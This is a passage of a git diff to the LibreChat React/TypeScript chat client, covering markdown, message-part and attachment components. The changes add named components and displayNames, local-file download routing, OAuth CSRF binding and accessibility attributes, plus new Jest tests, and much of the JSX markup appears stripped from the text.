+codeNoExecution.displayName = 'MarkdownCodeNoExecution';
type TAnchorProps = {
href: string;
children: React.ReactNode;
};
-export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => {
+export const a: React.ElementType = memo(function MarkdownAnchor({ href, children }: TAnchorProps) {
const user = useRecoilValue(store.user);
const { showToast } = useToastContext();
const localize = useLocalize();
@@ -111,7 +119,7 @@ export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => {
}, [user?.id, href]);
const { refetch: downloadFile } = useFileDownload(user?.id ?? '', file_id);
- const props: { target?: string; onClick?: React.MouseEventHandler } = { target: '_new' };
+ const props: { target?: string; onClick?: React.MouseEventHandler } = { target: '_blank' };
if (!file_id || !filename) {
return (
@@ -163,14 +171,16 @@ export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => {
);
});
+a.displayName = 'MarkdownAnchor';
type TParagraphProps = {
children: React.ReactNode;
};
-export const p: React.ElementType = memo(({ children }: TParagraphProps) => {
+export const p: React.ElementType = memo(function MarkdownParagraph({ children }: TParagraphProps) {
return {children}
;
});
+p.displayName = 'MarkdownParagraph';
type TImageProps = {
src?: string;
@@ -180,7 +190,13 @@ type TImageProps = {
style?: React.CSSProperties;
};
-export const img: React.ElementType = memo(({ src, alt, title, className, style }: TImageProps) => {
+export const img: React.ElementType = memo(function MarkdownImage({
+ src,
+ alt,
+ title,
+ className,
+ style,
+}: TImageProps) {
// Get the base URL from the API endpoints
const baseURL = apiBaseUrl();
@@ -199,3 +215,4 @@ export const img: React.ElementType = memo(({ src, alt, title, className, style
return ;
});
+img.displayName = 'MarkdownImage';
diff --git a/client/src/components/Chat/Messages/Content/MarkdownLite.tsx b/client/src/components/Chat/Messages/Content/MarkdownLite.tsx
index 65efe2f256..24980d8a90 100644
--- a/client/src/components/Chat/Messages/Content/MarkdownLite.tsx
+++ b/client/src/components/Chat/Messages/Content/MarkdownLite.tsx
@@ -38,7 +38,6 @@ const MarkdownLite = memo(
]}
/** @ts-ignore */
rehypePlugins={rehypePlugins}
- // linkTarget="_new"
components={
{
code: codeExecution ? code : codeNoExecution,
diff --git a/client/src/components/Chat/Messages/Content/MessageContent.tsx b/client/src/components/Chat/Messages/Content/MessageContent.tsx
index 7a823a07e9..0e2e7faa2c 100644
--- a/client/src/components/Chat/Messages/Content/MessageContent.tsx
+++ b/client/src/components/Chat/Messages/Content/MessageContent.tsx
@@ -185,4 +185,7 @@ const MessageContent = ({
);
};
-export default memo(MessageContent);
+const MemoizedMessageContent = memo(MessageContent);
+MemoizedMessageContent.displayName = 'MessageContent';
+
+export default MemoizedMessageContent;
diff --git a/client/src/components/Chat/Messages/Content/Part.tsx b/client/src/components/Chat/Messages/Content/Part.tsx
index bfa2b28fac..7bce7ac11d 100644
--- a/client/src/components/Chat/Messages/Content/Part.tsx
+++ b/client/src/components/Chat/Messages/Content/Part.tsx
@@ -11,6 +11,7 @@ import type { TMessageContentParts, TAttachment } from 'librechat-data-provider'
import { OpenAIImageGen, EmptyText, Reasoning, ExecuteCode, AgentUpdate, Text } from './Parts';
import { ErrorMessage } from './MessageContent';
import RetrievalCall from './RetrievalCall';
+import { getCachedPreview } from '~/utils';
import AgentHandoff from './AgentHandoff';
import CodeAnalyze from './CodeAnalyze';
import Container from './Container';
@@ -28,197 +29,213 @@ type PartProps = {
attachments?: TAttachment[];
};
-const Part = memo(
- ({ part, isSubmitting, attachments, isLast, showCursor, isCreatedByUser }: PartProps) => {
- if (!part) {
+const Part = memo(function Part({
+ part,
+ isSubmitting,
+ attachments,
+ isLast,
+ showCursor,
+ isCreatedByUser,
+}: PartProps) {
+ if (!part) {
+ return null;
+ }
+
+ if (part.type === ContentTypes.ERROR) {
+ return (
+
+ );
+ } else if (part.type === ContentTypes.AGENT_UPDATE) {
+ return (
+ <>
+
+ {isLast && showCursor && (
+
+
+
+ )}
+ >
+ );
+ } else if (part.type === ContentTypes.TEXT) {
+ const text = typeof part.text === 'string' ? part.text : part.text?.value;
+
+ if (typeof text !== 'string') {
+ return null;
+ }
+ if (part.tool_call_ids != null && !text) {
+ return null;
+ }
+ /** Handle whitespace-only text to avoid layout shift */
+ if (text.length > 0 && /^\s*$/.test(text)) {
+ /** Show placeholder for whitespace-only last part during streaming */
+ if (isLast && showCursor) {
+ return (
+
+
+
+ );
+ }
+ /** Skip rendering non-last whitespace-only parts to avoid empty Container */
+ if (!isLast) {
+ return null;
+ }
+ }
+ return (
+
+
+
+ );
+ } else if (part.type === ContentTypes.THINK) {
+ const reasoning = typeof part.think === 'string' ? part.think : part.think?.value;
+ if (typeof reasoning !== 'string') {
+ return null;
+ }
+ return ;
+ } else if (part.type === ContentTypes.TOOL_CALL) {
+ const toolCall = part[ContentTypes.TOOL_CALL];
+
+ if (!toolCall) {
return null;
}
- if (part.type === ContentTypes.ERROR) {
+ const isToolCall =
+ 'args' in toolCall && (!toolCall.type || toolCall.type === ToolCallTypes.TOOL_CALL);
+ if (
+ isToolCall &&
+ (toolCall.name === Tools.execute_code ||
+ toolCall.name === Constants.PROGRAMMATIC_TOOL_CALLING)
+ ) {
return (
-
);
- } else if (part.type === ContentTypes.AGENT_UPDATE) {
+ } else if (
+ isToolCall &&
+ (toolCall.name === 'image_gen_oai' ||
+ toolCall.name === 'image_edit_oai' ||
+ toolCall.name === 'gemini_image_gen')
+ ) {
return (
- <>
-
- {isLast && showCursor && (
+
+ );
+ } else if (isToolCall && toolCall.name === Tools.web_search) {
+ return (
+
+ );
+ } else if (isToolCall && toolCall.name?.startsWith(Constants.LC_TRANSFER_TO_)) {
+ return (
+
+ );
+ } else if (isToolCall) {
+ return (
+
+ );
+ } else if (toolCall.type === ToolCallTypes.CODE_INTERPRETER) {
+ const code_interpreter = toolCall[ToolCallTypes.CODE_INTERPRETER];
+ return (
+
+ );
+ } else if (
+ toolCall.type === ToolCallTypes.RETRIEVAL ||
+ toolCall.type === ToolCallTypes.FILE_SEARCH
+ ) {
+ return (
+
+ );
+ } else if (
+ toolCall.type === ToolCallTypes.FUNCTION &&
+ ToolCallTypes.FUNCTION in toolCall &&
+ imageGenTools.has(toolCall.function.name)
+ ) {
+ return (
+
+ );
+ } else if (toolCall.type === ToolCallTypes.FUNCTION && ToolCallTypes.FUNCTION in toolCall) {
+ if (isImageVisionTool(toolCall)) {
+ if (isSubmitting && showCursor) {
+ return (
-
+
- )}
- >
- );
- } else if (part.type === ContentTypes.TEXT) {
- const text = typeof part.text === 'string' ? part.text : part.text?.value;
-
- if (typeof text !== 'string') {
- return null;
- }
- if (part.tool_call_ids != null && !text) {
- return null;
- }
- /** Skip rendering if text is only whitespace to avoid empty Container */
- if (!isLast && text.length > 0 && /^\s*$/.test(text)) {
- return null;
- }
- return (
-
-
-
- );
- } else if (part.type === ContentTypes.THINK) {
- const reasoning = typeof part.think === 'string' ? part.think : part.think?.value;
- if (typeof reasoning !== 'string') {
- return null;
- }
- return ;
- } else if (part.type === ContentTypes.TOOL_CALL) {
- const toolCall = part[ContentTypes.TOOL_CALL];
-
- if (!toolCall) {
- return null;
- }
-
- const isToolCall =
- 'args' in toolCall && (!toolCall.type || toolCall.type === ToolCallTypes.TOOL_CALL);
- if (isToolCall && toolCall.name === Tools.execute_code) {
- return (
-
- );
- } else if (
- isToolCall &&
- (toolCall.name === 'image_gen_oai' ||
- toolCall.name === 'image_edit_oai' ||
- toolCall.name === 'gemini_image_gen')
- ) {
- return (
-
- );
- } else if (isToolCall && toolCall.name === Tools.web_search) {
- return (
-
- );
- } else if (isToolCall && toolCall.name?.startsWith(Constants.LC_TRANSFER_TO_)) {
- return (
-
- );
- } else if (isToolCall) {
- return (
-
- );
- } else if (toolCall.type === ToolCallTypes.CODE_INTERPRETER) {
- const code_interpreter = toolCall[ToolCallTypes.CODE_INTERPRETER];
- return (
-
- );
- } else if (
- toolCall.type === ToolCallTypes.RETRIEVAL ||
- toolCall.type === ToolCallTypes.FILE_SEARCH
- ) {
- return (
-
- );
- } else if (
- toolCall.type === ToolCallTypes.FUNCTION &&
- ToolCallTypes.FUNCTION in toolCall &&
- imageGenTools.has(toolCall.function.name)
- ) {
- return (
-
- );
- } else if (toolCall.type === ToolCallTypes.FUNCTION && ToolCallTypes.FUNCTION in toolCall) {
- if (isImageVisionTool(toolCall)) {
- if (isSubmitting && showCursor) {
- return (
-
-
-
- );
- }
- return null;
+ );
}
-
- return (
-
- );
+ return null;
}
- } else if (part.type === ContentTypes.IMAGE_FILE) {
- const imageFile = part[ContentTypes.IMAGE_FILE];
- const height = imageFile.height ?? 1920;
- const width = imageFile.width ?? 1080;
+
return (
-
);
}
+ } else if (part.type === ContentTypes.IMAGE_FILE) {
+ const imageFile = part[ContentTypes.IMAGE_FILE];
+ const cached = imageFile.file_id ? getCachedPreview(imageFile.file_id) : undefined;
+ return (
+
+ );
+ }
- return null;
- },
-);
+ return null;
+});
+Part.displayName = 'Part';
export default Part;
diff --git a/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx b/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx
index 1d14534e0d..31e30772dc 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx
@@ -8,9 +8,13 @@ import { cn } from '~/utils';
const FileAttachment = memo(({ attachment }: { attachment: Partial }) => {
const [isVisible, setIsVisible] = useState(false);
+ const file = attachment as TFile & TAttachmentMetadata;
const { handleDownload } = useAttachmentLink({
href: attachment.filepath ?? '',
filename: attachment.filename ?? '',
+ file_id: file.file_id,
+ user: file.user,
+ source: file.source,
});
const extension = attachment.filename?.split('.').pop();
@@ -72,8 +76,8 @@ const ImageAttachment = memo(({ attachment }: { attachment: TAttachment }) => {
diff --git a/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx b/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx
index 1b514164df..409461a058 100644
--- a/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx
@@ -1,8 +1,9 @@
import { memo } from 'react';
+/** Streaming cursor placeholder — no bottom margin to match Container's structure and prevent CLS */
const EmptyTextPart = memo(() => {
return (
-
+
diff --git a/client/src/components/Chat/Messages/Content/Parts/ExecuteCode.tsx b/client/src/components/Chat/Messages/Content/Parts/ExecuteCode.tsx
index 729011bdbd..2f14ac0f13 100644
--- a/client/src/components/Chat/Messages/Content/Parts/ExecuteCode.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/ExecuteCode.tsx
@@ -67,7 +67,7 @@ export default function ExecuteCode({
const [contentHeight, setContentHeight] = useState(0);
const prevShowCodeRef = useRef(showCode);
- const { lang, code } = useParseArgs(args) ?? ({} as ParsedArgs);
+ const { lang = 'py', code } = useParseArgs(args) ?? ({} as ParsedArgs);
const progress = useProgress(initialProgress);
useEffect(() => {
diff --git a/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx b/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx
index d2a303f49f..a675ff06d8 100644
--- a/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx
@@ -12,11 +12,7 @@ interface LogContentProps {
attachments?: TAttachment[];
}
-type ImageAttachment = TFile &
- TAttachmentMetadata & {
- height: number;
- width: number;
- };
+type ImageAttachment = TFile & TAttachmentMetadata;
const LogContent: React.FC = ({ output = '', renderImages, attachments }) => {
const localize = useLocalize();
@@ -35,12 +31,8 @@ const LogContent: React.FC = ({ output = '', renderImages, atta
const nonImageAtts: TAttachment[] = [];
attachments?.forEach((attachment) => {
- const { width, height, filepath = null } = attachment as TFile & TAttachmentMetadata;
- const isImage =
- imageExtRegex.test(attachment.filename ?? '') &&
- width != null &&
- height != null &&
- filepath != null;
+ const { filepath = null } = attachment as TFile & TAttachmentMetadata;
+ const isImage = imageExtRegex.test(attachment.filename ?? '') && filepath != null;
if (isImage) {
imageAtts.push(attachment as ImageAttachment);
} else {
@@ -65,6 +57,7 @@ const LogContent: React.FC = ({ output = '', renderImages, atta
return `${filename} ${localize('com_download_expired')}`;
}
+ const fileData = file as TFile & TAttachmentMetadata;
const filepath = file.filepath || '';
// const expirationText = expiresAt
@@ -72,7 +65,13 @@ const LogContent: React.FC = ({ output = '', renderImages, atta
// : ` ${localize('com_click_to_download')}`;
return (
-
+
{'- '}
{filename} {localize('com_click_to_download')}
@@ -93,18 +92,15 @@ const LogContent: React.FC = ({ output = '', renderImages, atta
))}
)}
- {imageAttachments?.map((attachment, index) => {
- const { width, height, filepath } = attachment;
- return (
-
- );
- })}
+ {imageAttachments?.map((attachment) => (
+
+ ))}
>
);
};
diff --git a/client/src/components/Chat/Messages/Content/Parts/LogLink.tsx b/client/src/components/Chat/Messages/Content/Parts/LogLink.tsx
index d328f202ee..070becf517 100644
--- a/client/src/components/Chat/Messages/Content/Parts/LogLink.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/LogLink.tsx
@@ -1,21 +1,56 @@
import React from 'react';
+import { FileSources } from 'librechat-data-provider';
import { useToastContext } from '@librechat/client';
-import { useCodeOutputDownload } from '~/data-provider';
+import { useCodeOutputDownload, useFileDownload } from '~/data-provider';
interface LogLinkProps {
href: string;
filename: string;
+ file_id?: string;
+ user?: string;
+ source?: string;
children: React.ReactNode;
}
-export const useAttachmentLink = ({ href, filename }: Pick
) => {
+interface AttachmentLinkOptions {
+ href: string;
+ filename: string;
+ file_id?: string;
+ user?: string;
+ source?: string;
+}
+
+/**
+ * Determines if a file is stored locally (not an external API URL).
+ * Files with these sources are stored on the LibreChat server and should
+ * use the /api/files/download endpoint instead of direct URL access.
+ */
+const isLocallyStoredSource = (source?: string): boolean => {
+ if (!source) {
+ return false;
+ }
+ return [FileSources.local, FileSources.firebase, FileSources.s3, FileSources.azure_blob].includes(
+ source as FileSources,
+ );
+};
+
+export const useAttachmentLink = ({
+ href,
+ filename,
+ file_id,
+ user,
+ source,
+}: AttachmentLinkOptions) => {
const { showToast } = useToastContext();
- const { refetch: downloadFile } = useCodeOutputDownload(href);
+
+ const useLocalDownload = isLocallyStoredSource(source) && !!file_id && !!user;
+ const { refetch: downloadFromApi } = useFileDownload(user, file_id);
+ const { refetch: downloadFromUrl } = useCodeOutputDownload(href);
const handleDownload = async (event: React.MouseEvent) => {
event.preventDefault();
try {
- const stream = await downloadFile();
+ const stream = useLocalDownload ? await downloadFromApi() : await downloadFromUrl();
if (stream.data == null || stream.data === '') {
console.error('Error downloading file: No data found');
showToast({
@@ -39,8 +74,8 @@ export const useAttachmentLink = ({ href, filename }: Pick = ({ href, filename, children }) => {
- const { handleDownload } = useAttachmentLink({ href, filename });
+const LogLink: React.FC = ({ href, filename, file_id, user, source, children }) => {
+ const { handleDownload } = useAttachmentLink({ href, filename, file_id, user, source });
return (
parseInt(v, 10));
- if (!isNaN(w) && !isNaN(h)) {
- width = w;
- height = h;
- }
- } else if (argsObj && (typeof argsObj.size !== 'string' || !argsObj.size)) {
- width = undefined;
- height = undefined;
+ if (parsedArgs && typeof parsedArgs.quality === 'string') {
+ const q = parsedArgs.quality.toLowerCase();
+ if (q === 'low' || q === 'medium' || q === 'high') {
+ quality = q;
}
-
- if (argsObj && typeof argsObj.quality === 'string') {
- const q = argsObj.quality.toLowerCase();
- if (q === 'low' || q === 'medium' || q === 'high') {
- quality = q;
- }
- }
- } catch (e) {
- width = undefined;
- height = undefined;
}
- // Default to 1024x1024 if width and height are still undefined after parsing args and attachment metadata
const attachment = attachments?.[0];
const {
- width: imageWidth,
- height: imageHeight,
filepath = null,
filename = '',
+ width: imgWidth,
+ height: imgHeight,
} = (attachment as TFile & TAttachmentMetadata) || {};
- let origWidth = width ?? imageWidth;
- let origHeight = height ?? imageHeight;
-
- if (origWidth === undefined || origHeight === undefined) {
- origWidth = 1024;
- origHeight = 1024;
- }
-
- const [dimensions, setDimensions] = useState({ width: 'auto', height: 'auto' });
- const containerRef = useRef(null);
-
- const updateDimensions = useCallback(() => {
- if (origWidth && origHeight && containerRef.current) {
- const scaled = scaleImage({
- originalWidth: origWidth,
- originalHeight: origHeight,
- containerRef,
- });
- setDimensions(scaled);
- }
- }, [origWidth, origHeight]);
-
useEffect(() => {
if (isSubmitting) {
setProgress(initialProgress);
@@ -156,45 +116,21 @@ export default function OpenAIImageGen({
}
}, [initialProgress, cancelled]);
- useEffect(() => {
- updateDimensions();
-
- const resizeObserver = new ResizeObserver(() => {
- updateDimensions();
- });
-
- if (containerRef.current) {
- resizeObserver.observe(containerRef.current);
- }
-
- return () => {
- resizeObserver.disconnect();
- };
- }, [updateDimensions]);
-
return (
<>
-
-
- {dimensions.width !== 'auto' && progress < 1 && (
-
- )}
+
diff --git a/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx b/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx
index 85d1b00b4b..44d646fcd8 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx
@@ -1,4 +1,4 @@
-import { memo, useMemo, useState, useCallback, useRef } from 'react';
+import { memo, useMemo, useState, useCallback, useRef, useId } from 'react';
import { useAtom } from 'jotai';
import type { MouseEvent, FocusEvent } from 'react';
import { ContentTypes } from 'librechat-data-provider';
@@ -36,6 +36,7 @@ type ReasoningProps = {
* For legacy text-based messages, see Thinking.tsx component.
*/
const Reasoning = memo(({ reasoning, isLast }: ReasoningProps) => {
+ const contentId = useId();
const localize = useLocalize();
const [showThinking] = useAtom(showThinkingAtom);
const [isExpanded, setIsExpanded] = useState(showThinking);
@@ -104,9 +105,14 @@ const Reasoning = memo(({ reasoning, isLast }: ReasoningProps) => {
onClick={handleClick}
label={label}
content={reasoningText}
+ contentId={contentId}
/>
{
isExpanded={isExpanded}
onClick={handleClick}
content={reasoningText}
+ contentId={contentId}
/>
diff --git a/client/src/components/Chat/Messages/Content/Parts/Text.tsx b/client/src/components/Chat/Messages/Content/Parts/Text.tsx
index c926622c9d..aec8d949e0 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Text.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Text.tsx
@@ -17,7 +17,7 @@ type ContentType =
| ReactElement>
| ReactElement;
-const TextPart = memo(({ text, isCreatedByUser, showCursor }: TextPartProps) => {
+const TextPart = memo(function TextPart({ text, isCreatedByUser, showCursor }: TextPartProps) {
const { isSubmitting = false, isLatestMessage = false } = useMessageContext();
const enableUserMsgMarkdown = useRecoilValue(store.enableUserMsgMarkdown);
const showCursorState = useMemo(() => showCursor && isSubmitting, [showCursor, isSubmitting]);
@@ -46,5 +46,6 @@ const TextPart = memo(({ text, isCreatedByUser, showCursor }: TextPartProps) =>
);
});
+TextPart.displayName = 'TextPart';
export default TextPart;
diff --git a/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx b/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx
index 0c5992f4ab..7641738c15 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx
@@ -1,4 +1,4 @@
-import { useState, useMemo, memo, useCallback, useRef, type MouseEvent } from 'react';
+import { useState, useMemo, memo, useCallback, useRef, useId, type MouseEvent } from 'react';
import { useAtomValue } from 'jotai';
import { Clipboard, CheckMark, TooltipAnchor } from '@librechat/client';
import { Lightbulb, ChevronDown, ChevronUp } from 'lucide-react';
@@ -35,12 +35,14 @@ export const ThinkingButton = memo(
onClick,
label,
content,
+ contentId,
showCopyButton = true,
}: {
isExpanded: boolean;
onClick: (e: MouseEvent
) => void;
label: string;
content?: string;
+ contentId: string;
showCopyButton?: boolean;
}) => {
const localize = useLocalize();
@@ -66,6 +68,7 @@ export const ThinkingButton = memo(
type="button"
onClick={onClick}
aria-expanded={isExpanded}
+ aria-controls={contentId}
className={cn(
'group/button flex flex-1 items-center justify-start rounded-lg leading-[18px]',
fontSize,
@@ -132,11 +135,13 @@ export const FloatingThinkingBar = memo(
isExpanded,
onClick,
content,
+ contentId,
}: {
isVisible: boolean;
isExpanded: boolean;
onClick: (e: MouseEvent) => void;
content?: string;
+ contentId: string;
}) => {
const localize = useLocalize();
const [isCopied, setIsCopied] = useState(false);
@@ -176,6 +181,8 @@ export const FloatingThinkingBar = memo(
tabIndex={isVisible ? 0 : -1}
onClick={onClick}
aria-label={collapseTooltip}
+ aria-expanded={isExpanded}
+ aria-controls={contentId}
className={cn(
'flex items-center justify-center rounded-lg bg-surface-secondary p-1.5 text-text-secondary-alt shadow-sm',
'hover:bg-surface-hover hover:text-text-primary',
@@ -240,6 +247,7 @@ const Thinking: React.ElementType = memo(({ children }: { children: React.ReactN
const [isExpanded, setIsExpanded] = useState(showThinking);
const [isBarVisible, setIsBarVisible] = useState(false);
const containerRef = useRef(null);
+ const contentId = useId();
const handleClick = useCallback((e: MouseEvent) => {
e.preventDefault();
@@ -295,9 +303,14 @@ const Thinking: React.ElementType = memo(({ children }: { children: React.ReactN
onClick={handleClick}
label={label}
content={textContent}
+ contentId={contentId}
/>
@@ -322,4 +336,4 @@ ThinkingContent.displayName = 'ThinkingContent';
FloatingThinkingBar.displayName = 'FloatingThinkingBar';
Thinking.displayName = 'Thinking';
-export default memo(Thinking);
+export default Thinking;
diff --git a/client/src/components/Chat/Messages/Content/ToolCall.tsx b/client/src/components/Chat/Messages/Content/ToolCall.tsx
index b9feef1bad..c807288b46 100644
--- a/client/src/components/Chat/Messages/Content/ToolCall.tsx
+++ b/client/src/components/Chat/Messages/Content/ToolCall.tsx
@@ -1,7 +1,12 @@
-import { useMemo, useState, useEffect, useRef, useLayoutEffect } from 'react';
+import { useMemo, useState, useEffect, useRef, useCallback, useLayoutEffect } from 'react';
import { Button } from '@librechat/client';
import { TriangleAlert } from 'lucide-react';
-import { actionDelimiter, actionDomainSeparator, Constants } from 'librechat-data-provider';
+import {
+ Constants,
+ dataService,
+ actionDelimiter,
+ actionDomainSeparator,
+} from 'librechat-data-provider';
import type { TAttachment } from 'librechat-data-provider';
import { useLocalize, useProgress } from '~/hooks';
import { AttachmentGroup } from './Parts';
@@ -36,9 +41,9 @@ export default function ToolCall({
const [isAnimating, setIsAnimating] = useState(false);
const prevShowInfoRef = useRef(showInfo);
- const { function_name, domain, isMCPToolCall } = useMemo(() => {
+ const { function_name, domain, isMCPToolCall, mcpServerName } = useMemo(() => {
if (typeof name !== 'string') {
- return { function_name: '', domain: null, isMCPToolCall: false };
+ return { function_name: '', domain: null, isMCPToolCall: false, mcpServerName: '' };
}
if (name.includes(Constants.mcp_delimiter)) {
const [func, server] = name.split(Constants.mcp_delimiter);
@@ -46,6 +51,7 @@ export default function ToolCall({
function_name: func || '',
domain: server && (server.replaceAll(actionDomainSeparator, '.') || null),
isMCPToolCall: true,
+ mcpServerName: server || '',
};
}
const [func, _domain] = name.includes(actionDelimiter)
@@ -55,9 +61,40 @@ export default function ToolCall({
function_name: func || '',
domain: _domain && (_domain.replaceAll(actionDomainSeparator, '.') || null),
isMCPToolCall: false,
+ mcpServerName: '',
};
}, [name]);
+ const actionId = useMemo(() => {
+ if (isMCPToolCall || !auth) {
+ return '';
+ }
+ try {
+ const url = new URL(auth);
+ const redirectUri = url.searchParams.get('redirect_uri') || '';
+ const match = redirectUri.match(/\/api\/actions\/([^/]+)\/oauth\/callback/);
+ return match?.[1] || '';
+ } catch {
+ return '';
+ }
+ }, [auth, isMCPToolCall]);
+
+ const handleOAuthClick = useCallback(async () => {
+ if (!auth) {
+ return;
+ }
+ try {
+ if (isMCPToolCall && mcpServerName) {
+ await dataService.bindMCPOAuth(mcpServerName);
+ } else if (actionId) {
+ await dataService.bindActionOAuth(actionId);
+ }
+ } catch (e) {
+ logger.error('Failed to bind OAuth CSRF cookie', e);
+ }
+ window.open(auth, '_blank', 'noopener,noreferrer');
+ }, [auth, isMCPToolCall, mcpServerName, actionId]);
+
const error =
typeof output === 'string' && output.toLowerCase().includes('error processing tool');
@@ -230,7 +267,7 @@ export default function ToolCall({
className="font-mediu inline-flex items-center justify-center rounded-xl px-4 py-2 text-sm"
variant="default"
rel="noopener noreferrer"
- onClick={() => window.open(auth, '_blank', 'noopener,noreferrer')}
+ onClick={handleOAuthClick}
>
{localize('com_ui_sign_in_to_domain', { 0: authDomain })}
diff --git a/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx b/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx
new file mode 100644
index 0000000000..e7e0b99f1e
--- /dev/null
+++ b/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx
@@ -0,0 +1,179 @@
+import React from 'react';
+import { render, screen, fireEvent } from '@testing-library/react';
+import Image, { _resetImageCaches } from '../Image';
+
+jest.mock('~/utils', () => ({
+ cn: (...classes: (string | boolean | undefined | null)[]) =>
+ classes
+ .flat(Infinity)
+ .filter((c): c is string => typeof c === 'string' && c.length > 0)
+ .join(' '),
+}));
+
+jest.mock('librechat-data-provider', () => ({
+ apiBaseUrl: () => '',
+}));
+
+jest.mock('@librechat/client', () => ({
+ Skeleton: ({ className, ...props }: React.HTMLAttributes) => (
+
+ ),
+}));
+
+jest.mock('../DialogImage', () => ({
+ __esModule: true,
+ default: ({ isOpen, src }: { isOpen: boolean; src: string }) =>
+ isOpen ?
: null,
+}));
+
+describe('Image', () => {
+ const defaultProps = {
+ imagePath: '/images/test.png',
+ altText: 'Test image',
+ };
+
+ beforeEach(() => {
+ _resetImageCaches();
+ jest.clearAllMocks();
+ });
+
+ describe('rendering without dimensions', () => {
+ it('renders with max-h-[45vh] height constraint', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img.className).toContain('max-h-[45vh]');
+ });
+
+ it('renders with max-w-full to prevent landscape clipping', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img.className).toContain('max-w-full');
+ });
+
+ it('renders with w-auto and h-auto for natural aspect ratio', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img.className).toContain('w-auto');
+ expect(img.className).toContain('h-auto');
+ });
+
+ it('does not show skeleton without dimensions', () => {
+ render( );
+ expect(screen.queryByTestId('skeleton')).not.toBeInTheDocument();
+ });
+
+ it('does not apply heightStyle without dimensions', () => {
+ render( );
+ const button = screen.getByRole('button');
+ expect(button.style.height).toBeFalsy();
+ });
+ });
+
+ describe('rendering with dimensions', () => {
+ it('shows skeleton behind image', () => {
+ render( );
+ expect(screen.getByTestId('skeleton')).toBeInTheDocument();
+ });
+
+ it('applies computed heightStyle to button', () => {
+ render( );
+ const button = screen.getByRole('button');
+ expect(button.style.height).toBeTruthy();
+ expect(button.style.height).toContain('min(45vh');
+ });
+
+ it('uses size-full object-contain on image when dimensions provided', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img.className).toContain('size-full');
+ expect(img.className).toContain('object-contain');
+ });
+
+ it('skeleton is absolute inset-0', () => {
+ render( );
+ const skeleton = screen.getByTestId('skeleton');
+ expect(skeleton.className).toContain('absolute');
+ expect(skeleton.className).toContain('inset-0');
+ });
+
+ it('marks URL as painted on load and skips skeleton on rerender', () => {
+ const { rerender } = render( );
+ const img = screen.getByRole('img');
+
+ expect(screen.getByTestId('skeleton')).toBeInTheDocument();
+
+ fireEvent.load(img);
+
+ // Rerender same component — skeleton should not show (URL painted)
+ rerender( );
+ expect(screen.queryByTestId('skeleton')).not.toBeInTheDocument();
+ });
+ });
+
+ describe('common behavior', () => {
+ it('applies custom className to the button wrapper', () => {
+ render( );
+ const button = screen.getByRole('button');
+ expect(button.className).toContain('mb-4');
+ });
+
+ it('sets correct alt text', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img).toHaveAttribute('alt', 'Test image');
+ });
+
+ it('has correct accessibility attributes on button', () => {
+ render( );
+ const button = screen.getByRole('button');
+ expect(button).toHaveAttribute('aria-label', 'View Test image in dialog');
+ expect(button).toHaveAttribute('aria-haspopup', 'dialog');
+ });
+ });
+
+ describe('dialog interaction', () => {
+ it('opens dialog on button click', () => {
+ render( );
+ expect(screen.queryByTestId('dialog-image')).not.toBeInTheDocument();
+
+ const button = screen.getByRole('button');
+ fireEvent.click(button);
+
+ expect(screen.getByTestId('dialog-image')).toBeInTheDocument();
+ });
+
+ it('dialog is always mounted (not gated by load state)', () => {
+ render( );
+ // DialogImage mock returns null when isOpen=false, but the component is in the tree
+ // Clicking should immediately show it
+ fireEvent.click(screen.getByRole('button'));
+ expect(screen.getByTestId('dialog-image')).toBeInTheDocument();
+ });
+ });
+
+ describe('image URL resolution', () => {
+ it('passes /images/ paths through with base URL', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img).toHaveAttribute('src', '/images/test.png');
+ });
+
+ it('passes absolute http URLs through unchanged', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img).toHaveAttribute('src', 'https://example.com/photo.jpg');
+ });
+
+ it('passes data URIs through unchanged', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img).toHaveAttribute('src', 'data:image/png;base64,abc');
+ });
+
+ it('passes non-/images/ paths through unchanged', () => {
+ render( );
+ const img = screen.getByRole('img');
+ expect(img).toHaveAttribute('src', '/other/path.png');
+ });
+ });
+});
diff --git a/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx b/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx
new file mode 100644
index 0000000000..ef8ac2807a
--- /dev/null
+++ b/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx
@@ -0,0 +1,182 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import OpenAIImageGen from '../Parts/OpenAIImageGen/OpenAIImageGen';
+
+jest.mock('~/utils', () => ({
